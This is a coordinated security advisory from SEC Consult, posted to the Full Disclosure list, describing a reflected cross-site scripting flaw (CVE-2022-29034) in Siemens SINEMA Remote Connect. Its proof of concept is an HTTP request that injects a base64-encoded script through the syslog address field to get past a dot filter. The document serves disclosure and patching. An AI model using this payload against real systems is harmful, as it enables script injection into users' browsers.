SEC Consult SA-20220614-0 :: Reflected Cross Site Scripting in SIEMENS-SINEMA Remote Connect

From: "SEC Consult Vulnerability Lab, Research via Fulldisclosure" <fulldisclosure () seclists org>
Date: Tue, 14 Jun 2022 10:33:53 +0000

```
SEC Consult Vulnerability Lab Security Advisory < 20220614-0 >
=======================================================================
               title: Reflected Cross Site Scripting
             product: SIEMENS-SINEMA Remote Connect
  vulnerable version: <=V3.0.1.0-01.01.00.02
       fixed version: V3.1.0
          CVE number: CVE-2022-29034
              impact: medium
            homepage: https://siemens.com
               found: 2022-03-01
                  by: S. Robertz (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Siemens is a technology company focused on industry, infrastructure,
transport, and healthcare.
 From more resource-efficient factories, resilient supply chains, and smarter
buildings and grids, to cleaner and more comfortable transportation as well as
advanced healthcare, we create technology with purpose adding real value for
customers. By combining the real and the digital worlds, we empower our
customers to transform their industries and markets, helping them to transform
the everyday for billions of people."

"SINEMA Remote Connect is the management platform for remote networks. It is a
server application that enables the simple management of tunnel connections
(VPN) between headquarters, service technicians, and installed machines or
plants."


Source: https://www.siemens.com
Source:
```

https://new.siemens.com/global/en/products/automation/industrial-communication/industrial-remote-communication/remote-networks/sinema-remote-connect-access-service.html

Business recommendation:

The vendor provides a patch which should be installed immediately.

Vulnerability overview/description:
----
1) Reflected Cross Site Scripting (CVE-2022-29034)
The application contains a reflected cross-site-scripting vulnerability that
can be used to execute JavaScript code in the victim's browser.

Proof of concept:
----
1) Reflected Cross Site Scripting (CVE-2022-29034)
The error occurs when setting the syslog server to an illegal IP address. An
error message will pop up and will reflect the supplied IP address. However,
the popup message does not use the proper JQuery method, and thus allows to
inject JavaScript code. Note that dots can not be used in the JavaScript
payload, as they will get filtered by the IP parser that runs beforehand.
This was circumvented by supplying the JavaScript code in base64.

Following request can be used to trigger the XSS:

```
POST /services/syslog_client_settings HTTP/1.1
Host: $host
Cookie: sessionid=708xmctjzk39og596jp4q4r1udfom4l5;
csrftoken=sP8NzwJozla1k18xrRzsXiY0zq16IyBddtlDA1C5BC1Orf0oGcqUPr2bpUv1VGLu
Content-Length: 153
X-Requested-With: XMLHttpRequest
X-Csrftoken: U5AQMbPh3JTcdfdBkgIvaLtoitpS7jUVFJNGNGIY50KZkt5szBzX2Uxz8XTNkr4c
Referer: https://$host/services/syslog_client_settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

address=127.0.0.1.<script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))
</script>&port=1234&pr
otocol=tcp&client_authentication=false&certificate=62&mode=
```

Vulnerable / tested versions:

The following version has been tested and found to be vulnerable:
* V3.0.1.0-01.01.00.02

Vendor contact timeline:

2022-04-01: Sending advisory via productcert () siemens com
2022-04-01: Issue tracked by Siemens under case #29947
2022-04-19: Siemens confirms vulnerability. Patch available mid May.
            Coordinated advisory release date for 2022-06-14.
2022-06-07: Asking for fixed versions & CVE numbers.
2022-06-14: Coordinated advisory release.

Solution:

Version V3.1.0 fixes our identified issues as well as other security

vulnerabilities according to the vendor. The firmware can be downloaded here:
https://support.industry.siemens.com/cs/ww/en/view/109811169/

The vendor published a security advisory as well:
https://cert-portal.siemens.com/productcert/html/ssa-484086.html

Workaround:

None

Advisory URL:
----
https://sec-consult.com/vulnerability-lab/

~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Robertz / @2022

_____
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

⬅ By Date ➡ ⬅ By Thread ➡

Current thread:

SEC Consult SA-20220614-0 :: Reflected Cross Site Scripting in SIEMENS-SINEMA Remote Connect *SEC Consult Vulnerability Lab, Research via Fulldisclosure (Jun 14)*
~~~~~~